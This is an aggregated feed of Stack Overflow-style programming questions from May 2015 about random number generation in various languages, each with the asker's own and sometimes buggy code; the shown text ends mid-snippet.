dimanche 31 mai 2015

How to generate some identically distributed pseudo-random vectors with a fixed length r in a programming language?

For example, for the dimension d=2, it means that we could generate a random angle 0<=a<2*pi, and then we could just use (x_1,x_2)=(rcos(a),rsin(a)) as the random vector.

However, for the dimension d>=3, we could not just generate an angle and use it to represent the vector. Then how could we generate such a vector (x_1,...,x_d), which is identically distributed on x_1^2+x_2^2+...+x_d^2=r^2?




Printing an int value obtained from user

The problem is at the "age" part, the compiler does not give me any errors but when i run it it prints a random number for int "age"

    printf("Enter your name:");
    scanf(" %s",&name1);
    int age;
    printf("\n\nHow old are you?");
    scanf(" %d",&age);
    char gender;
    printf("\n\nEnter your gender[Male/Female]:");
    scanf(" %s",&gender);
    char confirmation;
    printf("Confirmation: Your name is %s , you are %d years old , and you are a %s.\n\nAnswer[Y/N]:",&name1,age,&gender);




I want multiple non-random numbers in swift

I am using swift and want to have a number of duplicatable patterns throughout my game.

Ideally I would have some sort of shared class that worked sort of like this (this is sort of pseudo-Swift code):

class RandomNumberUtility {
    static var sharedInstance = RandomNumberUtility()
    var random1 : Random()
    var random2 : Random()

    func seedRandom1(seed : Int){
        random1 = Random(seed)
    }
    func seedRandom2(seed : Int){
        random2 = Random(seed)
    }
    func getRandom1() -> Int {
        return random1.next(1,10)
    }
    func getRandom2() -> Int {
        return random2.next(1,100)
    }
}

Then, to begin the series, anywhere in my program I could go like this:

RandomNumberUtility.sharedInstance.seedNumber1(7)
RandomNumberUtility.sharedInstance.seedNumber2(12)

And then I would know that (for example) the first 4 times I called

RandomNumberUtility.sharedInstance.getRandom1()

I would always get the same values (for example: 6, 1, 2, 6) This would continue until at some point I seeded the number again, and then I would either get the exact same series back (if I used the same seed), or a different series (if I used a different seed).

And I want to have multiple series of numbers (random1 & random2) at the same time.

I am not sure how to begin to turn this into an actual Swift class.




Random numbers generated using uniform real distribution in C++ are not really uniformly distributed

I wrote a small code to make sure that I can get random numbers from a really wide range, ex. [0, 10^36) because I am going to use these wide ranges later.

My code is as follows:

#include <iostream>
#include <cmath>
#include <random>
#include <chrono>

int main()
{   unsigned seed = std::chrono::system_clock::now().time_since_epoch().count();
    double expo = pow(10,36);
    std::uniform_real_distribution<double> dist(0,expo);
    std::mt19937_64 rng(seed);
    for (int i=0; i<10; i++)
        std::cout << dist(rng) << std::endl;
    return 0;
}   

And the following is an example of the output:

6.75507e+035
4.01129e+035
6.85525e+035
8.85896e+035
3.1455e+035
3.04962e+035
5.48817e+035
3.54502e+035
2.24337e+035
2.23367e+035

As you can see, the random numbers are all really close to the upper endpoint of the given interval. I tried running the program lots of times, also increased 10 numbers to 100, but the random numbers were always close to the upper endpoint of the interval (with the exponent 35, and sometimes 34).

Since I have used std::uniform_real_distribution, I expect to have also and sometimes the numbers in the range [0, 1000] for example. I do not find this a uniform distribution. This is important to me that the random number is not only close to the upper endpoint because I am going to use the random number later in an if-statement:

if (random_number == 0)
    //do some operations

And the upper endpoint will be actually used as a rate, in which something occurs. But it seems that the random number has no chance to be zero sometimes.

I do not know why this happens and would really appreciate any idea or help.

(Eclipse 4.4.1, Windows 7)




KDB / Q Resetting random elements on newly created list (numerical vs symbol/char)

I am having a random (Y) list with (X) elements (seed elements in 2nd dimension) where I want to reset values on a random factor (Z) that is between 0f and 1f. For numerical lists this code works fine

q)seed:20
q){(0>z-(x#seed)?\:1f)*(x#seed)?\:y}[3;10;0.25]

How can I extend that code to be running also in the case of symbols (or char lists) like that

q){(0>z-(x#seed)?\:1f)*(x#seed)?\:y}[3;`8;0.25]
q){(0>z-(x#seed)?\:1f)*(x#seed)?\:y}[3;" ";0.25]

I guess the multiplication in the middle is the problem, but I dont know how to make it more generic.

Maybe there is even a more elegant solution to this problem than creating 2 lists and handling it like that.

Thanks




Randomly selecting k different numbers in a range

I need to select k elements randomly in the range 0 to n-1. n can be upto 10^9. And k can range from 1 to n-1. I can do this in O(n) time just by shuffling an array containing values 0 to n-1 and choosing first k elements from it. But when k is small this method is both time and memory inefficient. Is there any O(k) solution to this problem?




Java: Random number in fixed range excluding specified number

In my (Java Android) game, I spawn coins at random positions.

Coins can appear at one of 6 positions horizontally across the screen (2 max per horizontal level).

What I do is create a random number between 0 and 5 for the first coin, then I want generate another random number excluding the position of the first coin.

So, for example, coin 1 is spawned at a random position between 0 and 5 - so let's say 4.

Then the next coin needs to be able to choose between 0-3 or 5. (basically 0-5 excluding 4).

I have managed to do it, but it's not very elegant and I'm sure there must be a better/cleaner way to achieve this, however, it escapes me.

The random(int number) method in the code below simply returns a random int from 0 to number-1 (uses nextInt) and randomBool() just returns a random boolean

Also, please bear in mind that I don't want to use any technique that keeps re-generating a random number if the one it produces is equal to the one we are trying to avoid.

code

    //Return a random number between 0 and 5 excluding the specified number
    private int getRandomExcluding(int excludedNumber){

        //If previous position was 0 then generate a number between 1 and 5
        if (excludedNumber==0){
                return random(5)+1;
        }
        //If position was 5, then generate and return number from 0-4
        else if (excludedNumber==5){
                return random(5);
        }

        //If number isn't 0 or 5 (then it is in range of 1-4 use a random bool to determine
        // if we are going to get a number less than or greater than the number we are excluding

        //True - get number lower than excluded number
        else if(randomBool()){

            //Excluded number is 1
            if (excludedNumber==1){
                return 0;  //Only posibility
            }

            //Excluded number is > 1
            else {
                //Return a random number between 0 (inclusive) and the excluded number (exclusive)
                return random(excludedNumber);
                }

        //False - get number higher than the excluded number (between exludedNumber+1 (inclusive) and 6(exlusive))
        else {
                return random(6-(excludedNumber+1))+(excludedNumber+1);
        }
    }




Function to quickly generate random integers in C

I need a function faster than rand() to use in a pure monte carlo search.




samedi 30 mai 2015

Collision Detection Between Circles - OnTouch (Android)

I got this working class that creates a DarkHole object in the screen. Its a filled circle with random color, position and radius. When screen is touched, it is supposed to draw a ball avoiding the other ones that have already been drawn.

I used this method: Colision by Radius


public class DarkHole extends View {

    public static final int maxDiameter = 250;

    public static final int minDiameter = 240;

    /**
    * This class log tag.
    */
    private static final String LOG_TAG = DarkHole.class.getSimpleName();

    private static List<ShapeDrawable> mHoles;

    private int mWindowWidth;

    private int mWindowHeight;

    private Random random;

    /**
    * The constructor;
    *
    * @param context application context.
    */
    public DarkHole(Context context) {
        super(context);
        mHoles = new ArrayList<ShapeDrawable>();
        random = new Random();

        //Get Screen Size
        Point point = new Point();
        WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
        Display display = windowManager.getDefaultDisplay();
        display.getSize(point);

        // Get screen max x and y.
        mWindowWidth = point.x;
        mWindowHeight = point.y;
    }

    /**
    * Draw random hole.
    */
    private void generateRandomHole() {
        while(true) {
            ShapeDrawable hole = new ShapeDrawable(new OvalShape());

            // Generate random color.

            int r = random.nextInt(255);
            int g = random.nextInt(255);
            int b = random.nextInt(255);
            int randomColor = Color.rgb(r, g, b);

            // Generate random position.
            int diameter = random.nextInt(maxDiameter - minDiameter + 1) + minDiameter;
            int x = random.nextInt((mWindowWidth - diameter) + 1);
            int y = random.nextInt((mWindowHeight - diameter) + 1);

            hole.getPaint().setColor(randomColor);
            hole.setBounds(x, y, x + diameter, y + diameter);

            if (checkDrawContains(hole)) {
                Log.d(LOG_TAG, "[generateRandomHole] contains!");
                hole = null;
                random = null;
            } else {
                Log.d(LOG_TAG, "[generateRandomHole] not contains!");
                mHoles.add(hole);
                break;
            }
        }
    }

    /**
    * Draw informative text.
    *
    * @param canvas canvas object.
    */
    private void generateText(Canvas canvas) {
        Paint color = new Paint();
        color.setColor(Color.BLACK);
        color.setTextSize(70);
        color.setAntiAlias(true);
        color.setDither(true);
        canvas.drawText("Bolas: " + mHoles.size(), 10, 50, color);
    }


    private boolean checkDrawContains(ShapeDrawable newHole) {
        long newCenterX = newHole.getBounds().left + (newHole.getBounds().width()/2);
        long newCenterY = newHole.getBounds().top + (newHole.getBounds().height()/2);

        Log.d(LOG_TAG, "[checkDrawContains] newCenterX: " + newCenterX);
        for(ShapeDrawable hole: mHoles) {
            long centerX = hole.getBounds().left + (hole.getBounds().width()/2);
            long centerY = hole.getBounds().top + (hole.getBounds().height()/2);
            long x = centerX - newCenterX;
            long y = centerY - newCenterY;
            long aux = (long) ((Math.pow(Math.abs(x),2)) + (Math.pow(Math.abs(y),2)));
            long distance = (long) Math.sqrt(aux);
            Log.d(LOG_TAG, "[checkDrawContains] x: " + x);
            Log.d(LOG_TAG, "[checkDrawContains] y: " + y);
            Log.d(LOG_TAG, "[checkDrawContains] distance: " + distance);
            Log.d(LOG_TAG, "[checkDrawContains] sum radius: " + (newCenterX + centerX));
            long sRads = (newHole.getBounds().width()/2) + (hole.getBounds().width()/2);

            if(distance <=  sRads ) {
                return true;
            }
        }
        return false;
    }

    /** {@inheritDoc} */
    protected void onDraw(Canvas canvas) {
        super.onDraw(canvas);

        generateText(canvas);
        for (ShapeDrawable hole : mHoles) {
            hole.draw(canvas);
        }

        invalidate();
    }

    /** {@inheritDoc} */
    @Override
    public boolean onTouchEvent(MotionEvent event) {
        switch (event.getAction()) {
        case MotionEvent.ACTION_DOWN:
            generateRandomHole();
            return true;
        }
        return super.onTouchEvent(event);
    }
}


It should work, but It crashes when the recursion starts to recalculate all the random parameters. Is it a stack overflow? Why is that happening? How it should be solved?




List elements must be randomized differently

void changeColors(){
    clr = colorList [Random.Range (0, colorList.Count)];
    txtClr = colorList [Random.Range (0, colorList.Count)];
}

This is my function to set random color to 2 variables. What i want to achieve is the function must keep working until clr != txtClr after randomizing. Thanks in advance.




RSPEC: How to test that a JSON Web Token is returned by controller action

I am using Devise and JWT's to authenticate users in a project I am writing. I am having a hard time figuring out how to write a useful test to expect a JWT response.body (since each is encrypted).

The only thing I can think of is to test that they are structured as a JWT should be (a 3 segment, '.' delimited string).

Has anyone encountered testing random/hashed returns and come up with a better solution?

describe SessionTokensController, type: :controller do
  let(:current_user) { FactoryGirl.create(:user) }

  before(:each) do
    sign_in current_user
  end

  describe '#create' do
    it 'responds with a JWT' do
      post :create
      token = JSON.parse(response.body)['token']

      expect(token).to be_kind_of(String)
      segments = token.split('.')
      expect(segments.size).to eql(3)
    end
  end
end

```




Create a Random Number Generator method from A given Random number generator method with different range

I want to make a Random number generator using a given random number generator method.

Given a function f() that return a random number from 1 to k, create a function fn() that return a random number from 1 to n with equal probability.

where k can be be both less than or more than n (k<n or k>n).

I understand if (k > n) we can keep calling f() till it return (value <= n).

  1. but will the equal probability property be maintained.
  2. Also what about the case when (k<n)

`




Reading values .plist swift

I have a .plist in Swift. It is set up as follows

enter image description here

I have trouble finding information on how to read information from a .Plist. I want to be able to randomly select one of the 845 Items in the EmojiList. Once I have that Item, then I want to have access to that Item's emoji string value and its description string value.

Programatically how would I go about accessing a random item inside the item list? And then having access to that specific item's properties?




KDB+ / Q unique random values with variable for amount

I am quite new to KDB+ and have a question about generating random numbers.

Lets say I want to create num random unique numbers.

When i use this

10?10
-10?10

I get 10 random numbers in line 1 and 10 unique random numbers in line 2 (range from 0 to 9)

When I want to introduce a variable like this

num:10
num?10  / works
-num?10 / dont work

The generation of unique randoms does not work.

Whats the correct syntax for this?

Thanks in advance




How do I publish two random items from a Meteor collection?

I'm making an app where two random things from a collection are displayed to the user. Every time the user refreshes the page or clicks on a button, she would get another random pair of items.

For example, if the collection were of fruits, I'd want something like this:

apple vs banana

peach vs pineapple

banana vs peach

The code below is for the server side and it works except for the fact that the random pair is generated only once. The pair doesn't update until the server is restarted. I understand it is because generate_pair() is only called once. I have tried calling generate_pair() from one of the Meteor.publish functions but it only sometimes works. Other times, I get no items (errors) or only one item.

I don't mind publishing the entire collection and selecting random items from the client side. I just don't want to crash the browser if Items has 30,000 entries.

So to conclude, does anyone have any ideas of how to get two random items from a collection appearing on the client side?

var first_item, second_item;

// This is the best way I could find to get a random item from a Meteor collection
// Every item in Items has a 'random_number' field with a randomly generated number between 0 and 1
var random_item = function() {
  return Items.find({
    random_number: {
      $gt: Math.random()
    }
  }, {
    limit: 1
  });
};

// Generates a pair of items and ensure that they're not duplicates.
var generate_pair = function() {
  first_item = random_item();
  second_item = random_item();

  // Regenerate second item if it is a duplicate
  while (first_item.fetch()[0]._id === second_item.fetch()[0]._id) {
    second_item = random_item();
  }
};

generate_pair();

Meteor.publish('first_item', function() {
  return first_item;
});

// Is this good Meteor style to have two publications doing essentially the same thing?
Meteor.publish('second_item', function() {
  return second_item;
});




vendredi 29 mai 2015

Predictable random sequences depending on related seeds

I've had this idea in my head for quite a while, but I failed to articulate it in a searchable way, so I thought I'd ask it as a question. There is a lot of information about seeds and RNG algorithms, but I couldn't find much information about the relationship between the two. Many of the discussions derail into mathematical equations that seem to talk about the distribution of the series, rather then the difference between two given series and two seeds.

More to the point, I'm interested in a behaviour like this: Two different seeds producing the same 'random' sequence. In short, two different seeds (that are somewhat close to each other in the byte representation) generate very similar random number sequences. I would like to have a similar behaviour, preferably with a simple-enough condition along the lines of "the farther the two seeds are from each other the more different the two series will be".

Some additional background (in case there's a better approach that I'm completly overlooking): I'm playing around with some genetic algorithms where this sort of behaviour would be very desirble to me. I generate a few random numbers and use them to explore a very wide space of options. Later, I test those numbers out and evaluate the "goodness" of that sequence. Once I find a sequence that has a decent score, I would like to be able to generate a similar repeatable random sequence in my next generation, except I'd like it to be a little different from the first sequence, but only slightly (Thus more likely to perserve the "goodness" of the result).

I am using the seeds as the "identifier" of the sequence, so that if the first 20 numbers in the sequence are good for me, I could produce additional "good numbers" later on. Is there any algorithms where a simple relationship between the seeds will represent some sort of relationship between the series?

My apologies for the very vague question, the whole thing confuses me quite a bit...

[Disclaimer: I have an "ok" understanding of what these algorithms do , I just can't really map from a relationship between seeds to relationship on the series]




Math.random in regards to arrays

I am confused about how arrays (in Javascript) work in tandem with functions like math.random. Here is an example of the code I would be using (I have read on several sites that math.random is not the best pseudorandom number generator but it will work for my purposes of understanding how math.random selects variables in arrays):

var examples= [1, 2, 3, 56, "foxy", 9999, "jaguar", 5.4, "caveman"];
var example= examples[Math.round(Math.random() * (mathematics.length-1))];
console.log(example);

When I put this in to the console log it select one of the variables and print it out there. And since Math.random is selecting a number greater than or equal to 0 and less than 1, what specific number is assigned to each variable in the 'var examples'? Like, what number would be selected that would cause '1' to be printed out or '"foxy"' to be printed out? Does every variable in the array take up an equal amount of the length from greater than or equal to 0 and less than 1? Thanks for the help and sorry if this is worded badly or not in the correct format. This is my first post and I am very new to programming. :)




array, random, positive and negative [on hold]

Write a Java program that declares an array alpha of 50 integer elements. Initialize the array so that the first 25 elements are equal to the square of the index variable and the last 25 elements are equal to three times the index variable. Output the array so that 10 elements per line are printed. Exercise # 2 : Redo Exercise#1 so that the first 25 elements are randomely generated between 10 and 50 and the last 25 elements are randomely genrated bewteen -­‐25 and 25. Exercise # 3: Modify Exercise#2 to count




Using C++ rand() to get random directions (up/down/left/right) - always getting up

I'm making a C++ text-based Battleship game. I use the rand() function to randomly place the computer's ships. I seed the number generator once at the beginning of main(), with the line below:

srand(static_cast<unsigned>(time(0)));

I later use the rand() function to choose the spaces where each individual ship will go. (The coordinates where one end of the ship will start). I then use rand() in the function below, which decides the direction in which they will extend (depending on the ship's length):

char randDirection()
{
    int randNumber = rand();
    int x = (randNumber % 4) + 1;

    if (x = 1)
        return 'u';
    else if (x = 2)
        return 'd';
    else if (x = 3)
        return 'l';
    else
        return 'r';
}

It randomly gets a number between 1 and 4, and returns a direction (represented by a char) depending on the number. While I had success with randomly choosing the locations for the pieces, this function always sets the pieces vertically. They always go up. Can anyone tell me why?




Laravel 5 Random by Percentage

I'm doing a small random script with Laravel 5 where i want to get a random winner by percentage based on the number of entries he has, but i'm trying not to have like 200 entries with the same person... instead i'm trying to do something like this:

Table Entries:

ID - USER - ENTRIES

Ex: Entrie ID 1 - User ID 1337 - With 470 Entries

So That way he has 470 total entries but.. only one row in the database table.

My Question is.. how can i do it and if is it possible to do something with that 470 Entires to give the user some kind of advantage over users with less Entries..

Lets say there are 10 users, with total of 1000 Entires, User ID 1337 has 470 Entires, that means 47% of winning the prize..

Is there a way to do this kind of thing? cuz i just feel like having 1000 rows for just 10 users is not practical at all..

Thanks, TiagoF




How to get a completely random number in C++

When I compile the below source, I'm getting a psuedo-random number. This source code is not mine and I don't know anything about the randomize() or the random() functions. I know about srand() and rand(). Can someone explain the difference b/w these four functions and help me completely randomise this instance of The Hangman Game.

#include <iostream.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>

const int MAXLENGTH=80;
const int MAX_TRIES=5;
const int MAXROW=7;

int letterFill (char, char[], char[]);
void initUnknown (char[], char[]);

int main ()
{
    char unknown [MAXLENGTH];
    char letter;
    int num_of_wrong_guesses=0;
    char word[MAXLENGTH];
    char words[][MAXLENGTH] =
    {
        "india",
        "pakistan",
        "nepal",
        "malaysia",
        "philippines",
        "australia",
        "iran",
        "ethiopia",
        "oman",
        "indonesia"
    };

    //choose and copy a word from array of words randomly
    randomize();
    int n=random(10);
    strcpy(word,words[n]);

    // Initialize the secret word with the * character.
    initUnknown(word, unknown);

    // welcome the user
    cout << "\n\nWELCOME TO...\n\n"
   "\n{}    {}     {}{}      {}    {}    {}}}}}     {}      {}    {}{}     {}    {}"
"\n{}    {}    {}  {}     {}}}  {}   {}          {}}}  {{{}   {}  {}    {}}}  {}"
"\n{}{{}}{}   {}{{}}{}    {} {} {}   {}          {} {{}} {}  {}{{}}{}   {} {} {}"
"\n{}    {}   {}    {}    {}  {{{}   {}  {{{{    {}  {}  {}  {}    {}   {}  {{{}"
"\n{}    {}   {}    {}    {}    {}    {}}}}}     {}      {}  {}    {}   {}    {}"
   "\nGuess a country Name";
    cout << "\n\nEach letter is represented by a star.";
    cout << "\n\nYou have to type only one letter in one try";
    cout << "\n\nYou have " << MAX_TRIES << " tries to try and guess the word.";
    cout << "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";

    // Loop until the guesses are used up
    while (num_of_wrong_guesses < MAX_TRIES)
    {
        cout << "\n\n" << unknown;
        cout << "\n\nGuess a letter: ";
        cin >> letter;
        // Fill secret word with letter if the guess is correct,
        // otherwise increment the number of wrong guesses.
        if (letterFill(letter, word, unknown)==0)
        {
            cout << endl << "Whoops! That letter isn't in there!" << endl;
            num_of_wrong_guesses++;
        }
        else
        {
            cout << endl << "You found a letter! Isn't that exciting!" << endl;
        }
        // Tell user how many guesses has left.
        cout << "You have " << MAX_TRIES - num_of_wrong_guesses;
        cout << " guesses left." << endl;
        // Check if they guessed the word.
        if (strcmp(word, unknown) == 0)
        {
            cout << word << endl;
            cout << "Yeah! You got it!\n\n>> YOU WIN <<\n$$ HERE'S THE TREASURE $$"<<endl<<endl;
         cout<<"\n*******************************************************************************"
"\n          |                   |                  |                     |"
"\n _________|________________.=""_;=.______________|_____________________|_______"
"\n|                   |  ,-'_,=''     `'=.|                  |"
"\n|___________________|__'=._'''-._        ''=.______________|___________________"
"\n          |                ''=._o''=._      _''=._                     |"
"\n _________|_____________________:=._o '=._.'_.-='''=.__________________|_______"
"\n|                   |    __.--' , ; ''=._o.' ,-'''-._ '.   |"
"\n|___________________|_._'  ,. .' ' '' ,  ''-._'-._   '. '__|___________________"
"\n          |           |o''=._' , '' '; .'. ,  '-._'-._; ;              |"
"\n _________|___________| ;'-.o''=._; .' ' ''.' ' . '-._ /_______________|_______"
"\n|                   | |o;    ''-.o''=._''  '' ' ,__.--o;   |"
"\n|___________________|_| ;     (#) '-.o ''=.'_.--'_o.-; ;___|___________________"
"\n____/______/______/___|o;._    '      ''.o|o_.--'    ;o;____/______/______/____"
"\n/______/______/______/_'=._o--._        ; | ;        ; ;/______/______/______/_"
"\n____/______/______/______/__'=._o--._   ;o|o;     _._;o;____/______/______/____"
"\n/______/______/______/______/____'=._o._; | ;_.--'o.--'_/______/______/______/_"
"\n____/______/______/______/______/_____'=.o|o_.--''___/______/______/______/____"
"\n/______/______/______/______/______/______/______/______/______/______/_______/"
"\n*******************************************************************************";
            break;
        }

    }
    if(num_of_wrong_guesses == MAX_TRIES)
    {
        cout << "\nSorry, you lose...you've been hanged." << endl<<endl;
      cout<<
     "\n       (/)"
"\n       (/)"
"\n       (/)"
"\n       (/)"
"\n       (/)"
"\n       (/)"
"\n       (/))"
"\n      (/)(/)"
"\n     (/)''(/)"
"\n    (/)    (/)"
"\n    (/)    (/)"
"\n    (/)    (/)"
"\n    (/)    (/)"
"\n     (/)   (/)"
"\n      (/) (/)"
"\n        (/)";
        cout << "\nThe word was : " << word << endl;
    }
    getch();
    return 0;
}

/* Take a one character guess and the secret word, and fill in the
 unfinished guessword. Returns number of characters matched.
 Also, returns zero if the character is already guessed. */

int letterFill (char guess, char secretword[], char guessword[])
{
    int i;
    int matches=0;
    for (i = 0; secretword[i]!='\0'; i++)
    {

        // Did we already match this letter in a previous guess?
        if (guess == guessword[i])
            return 0;

        // Is the guess in the secret word?
        if (guess == secretword[i])
        {
            guessword[i] = guess;
            matches++;
        }
    }
    return matches;
}


// Initialize the unknown word                 

void initUnknown (char word[], char unknown[])
{
    int i;
    int length = strlen(word);
    for (i = 0; i < length; i++)
        unknown[i]='*';
    unknown[i]='\0';
}




Random button Android project

I want to make an app that when you click a button it will go to a random place on the screen. I want it to be an ImageButton the when onClick well go to a random place on the screen. I've attempted before. But to no success. Here is some of the code I've already attempted with. --->

package com.example.e99900004533.candycollector;

import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.graphics.Point;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.Display;
import android.view.ViewGroup.MarginLayoutParams;
import android.animation.ObjectAnimator;
import android.widget.RelativeLayout;
import android.widget.EditText;
import android.widget.ImageButton;
import java.util.Random;

public class MainActivity extends ActionBarActivity {

    public EditText collectedTextEdit;
    public ImageButton candyEdit;
    public int collected = 0;
    public int screenWidth = 300;
    public int screenHeight = 300;
    Random random = new Random();
    public boolean running = true;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        collectedTextEdit = (EditText) findViewById(R.id.collectedText);
        candyEdit = (ImageButton) findViewById(R.id.candy);
        collectedTextEdit.setText("Collected: " + collected);

        Display display = getWindowManager().getDefaultDisplay();
        Point size = new Point();
        display.getSize(size);
        screenWidth = size.x;
        screenHeight = size.y;

        addListenerOnButton();
    }

    public void addListenerOnButton() {
        candyEdit.setOnClickListener(new OnClickListener() {

            @Override
            public void onClick(View v) {
                collected += 1;
                collectedTextEdit.setText("Collected: " + collected);

                int candyX = random.nextInt(screenWidth - 50);
                int candyY = random.nextInt(screenHeight - 50);
                System.out.println(candyX + " : " + candyY);

                MarginLayoutParams marginParams = new MarginLayoutParams(candyEdit.getLayoutParams());
                marginParams.setMargins(candyX, candyY, 0, 0);
                RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(marginParams);
                candyEdit.setLayoutParams(layoutParams);

                //if (candyX > screenWidth) {
                    //screenWidth -= 50;
                    //layoutParams.setMargins(candyX, candyY, candyX, LayoutParams.WRAP_CONTENT);
                    //candyEdit.setLayoutParams(layoutParams);
                //}
                //if (candyY > screenHeight) {
                    //screenHeight -= 50;
                    //layoutParams.setMargins(candyX, candyY, LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
                    //candyEdit.setLayoutParams(layoutParams);
                //}

                //while (running == true) {
                    //candyY -= 1;
                    //layoutParams.setMargins(candyX, candyY, candyX, candyY);
                    //candyEdit.setLayoutParams(layoutParams);
                //}
            }
        });
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }

        return super.onOptionsItemSelected(item);
    }
}




Lua function selector

I have 3 functions. When the user presses the 'E' key I want it to select one of the functions (at random), I feel like it has something to do with math.random but I can't figure it out.




Setting the seed for betarnd() in Matlab 2014b

I am trying to set the seed for betarnd() so that every time I re-run my code, I use the same values generated by betarnd(). In a previous version of Matlab on someone else's computer, it suffices to do

randn('seed', num)
rand('seed', num)

and she can get the same set of random values sampled from the beta distribution each time betarnd(0.5,0.5,[1,15]) is run, for instance. However, in my case, although I set the seeds as shown above, I get different values. What could be causing this discrepancy? And how can I resolve it?




Update table using random of multiple values in other table

Consider this data:

CREATE TABLE #Data (DataID INT, Code VARCHAR(2), Prefix VARCHAR(3))

INSERT INTO #Data (DataID, Code)
VALUES (1, 'AA')
, (2, 'AA')
, (3, 'AA')
, (4, 'AA')
, (5, 'AA')
, (6, 'AA')

CREATE TABLE #Prefix (Code VARCHAR(2), Prefix VARCHAR(3))

INSERT INTO #Prefix (Code, Prefix)
VALUES ('AA', 'ABC')
, ('AA', 'DEF')
, ('AA', 'GHI')
, ('AA', 'JKL')

I want to set the Prefix value in #Data to be a random Prefix from #Prefix with a matching Code.

Using a straight inner join just results in one value being used:

UPDATE D
SET Prefix = P.Prefix
FROM #Data AS D
INNER JOIN #Prefix AS P ON D.Code = P.Code

From reading other questions on here, NEWID() is recommended as a way of randomly ordering something. Changing the join to a SELECT TOP 1 subquery ordering by NEWID() still only selects a single value (though random each time) for every row:

UPDATE D
SET Prefix = (SELECT TOP 1 P.Prefix FROM #Prefix AS P WHERE P.Code = D.Code ORDER BY NEWID())
FROM #Data AS D

So, I'm not sure how to get a random prefix for each data entry from a single update statement. I could probably do some kind of loop through the #Data table, but I avoid ever touching loops in SQL and I'm sure that would be slow. The actual application of this will be on tens of thousands of records, with hundreds of prefixes for dozens of codes.




Is it possible to peek at the next rand value

Assuming the generator has been seeded, it is possible to peek at the next random value without changing it?

i.e. given:

#include <stdlib.h>

int r;
r = rand(); // say this is 99
r = rand(); // say this is 80

Is this possible

#include <stdlib.h>

int r;
r = peekAtRand(); // this will give 99
r = rand(); // but this still gives 99

r = peekAtRand(); // this will give 80
r = rand(); // but this still gives 80

Furthermore, can this be extended to peeking at the next n numbers?




Infinite random sequence loops with randomIO but not with getRandom

I'm having difficulty trying to figure out a way to reason about why the following two, seemingly equivalent definitions of an infinite random number sequence (inf and inf') are evaluated completely differently:

import Control.Monad.Random (Rand, evalRandIO, getRandom)
import System.Random        (Random, RandomGen, randomIO)

inf :: (RandomGen g, Random a) => Rand g [a]
inf = sequence (repeat getRandom)

inf' :: (Random a) => IO [a]
inf' = sequence (repeat randomIO)

main = do
  i <- evalRandIO inf     -- HANGS
  putStrLn $ show $ take 5 (i :: [Int])

main' = do
  i <- inf'               -- OK
  putStrLn $ show $ take 5 (i :: [Int])

when called, main' terminates and prints 5 random integers, whereas main loops infinitely — what causes sequence . repeat to be evaluated differently on getRandom than it does on randomIO?




jeudi 28 mai 2015

Number Generator 1-4 | Batch

There is an easy way to make a number generator.
But I just want the generated numbers to be 1 - 4

The following program takes too long to get an output

@echo off
:RUN
set /a Num=%random%
if %num% LEQ 4 echo %num%
goto :RUN

It runs %random% until it gets less than 4, which could be quite a while.




Can I generate random variables with my own pmf?

I have to generate a random variable that ranges from 20 to 30, with 0.1 interval, and the pmf of it is given by 1x101 matrix(for x=20, 20.1, ... 29.9, 30).

Now I have to make random variable with this given pmf,

But all I know about generating R.V is something related to gaussian, or uniformly distributed function.

So is there any way to implement generating random variables with arbitrary pmf?




Why isn't Pythons randint Function actually Random?

I've been coding in python for awhile, and I happened to stumble upon Codecademys exercises and one of the projects was to create a battleship game that randomely places a 2x1 battle ship in a 5x5 grid. I noticed a pattern after my girlfriend correctly guess where the ship was 3 times in a row. the randint for the col and randint for the row started at 0,1. then the program termintates. After launching the program again the answer was 1,2. the next three answers were 2,3 , 3,4 , 4,0. Why does this happen instead of truely being random?

Code is below:

import os, sys
from random import randint
os.system("cls")
board = []
for x in range(0, 5):
    board.append(["O"] * 5)
def print_board(board):
    for row in board:
        print " ".join(row)
print_board(board)
def random_row(board):
    return randint(0, len(board) - 1)
def random_col(board):
    return randint(0, len(board[0]) - 1)
ship_row = random_row(board)
ship_col = random_col(board)
guess_row = int(raw_input("Guess Row:"))
guess_col = int(raw_input("Guess Col:"))
# Write your code below!
while guess_row!=ship_row and guess_col!=ship_col:
    print"You missed my battleship!"
    for i in range(len(board)):
        if i==guess_col:
            board[guess_row][i]="X"
    print_board(board)
    guess_row = int(raw_input("Guess Row:"))
    guess_col = int(raw_input("Guess Col:"))
print"Congratulations! You sank my Battleship!"




How to make randomize data without repeatation on ClikListener

I'm sorry my english is bad, I can't speak english well. I want to make randomize question. On my layout there's an imageView and a button. An imageView will replace with a question which located in my server, and a button for the next question. I made randomize question in my php. But everytime I clicked next Button, some question showing again, it's because everytime I clicked next Button, it will execute the randomize php. My question is, how to make next button without execute randomize php ?

It's my php code :

<?php
$host="localhost";
$username="root";
$password="";

mysql_connect($host,$username,$password);

$database_name="db_ipa";
mysql_select_db($database_name);

$arr = array();
$q = mysql_query("select * from biologi order by rand() limit 10");
    while ($row = mysql_fetch_assoc($q)) {
        $temp = array(
            "no" => $row['no'],
            "soal"=>$row['soal'],
        );
        array_push($arr, $temp);
    }   
$data = json_encode($arr);
$data = str_replace("\\", "", $data);
echo "$data";
?>

It's my onClick method :

public void next(View v){
    StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
    StrictMode.setThreadPolicy(policy);
    JSONParser jParser = new JSONParser();
    String url ="http://ift.tt/1FGsdAi";
    String json = jParser.makeHttpRequestPOSTNew(url);
    Log.d("json", json);

    ImageView img1 = (ImageView) findViewById(R.id.imageView1);
    try {
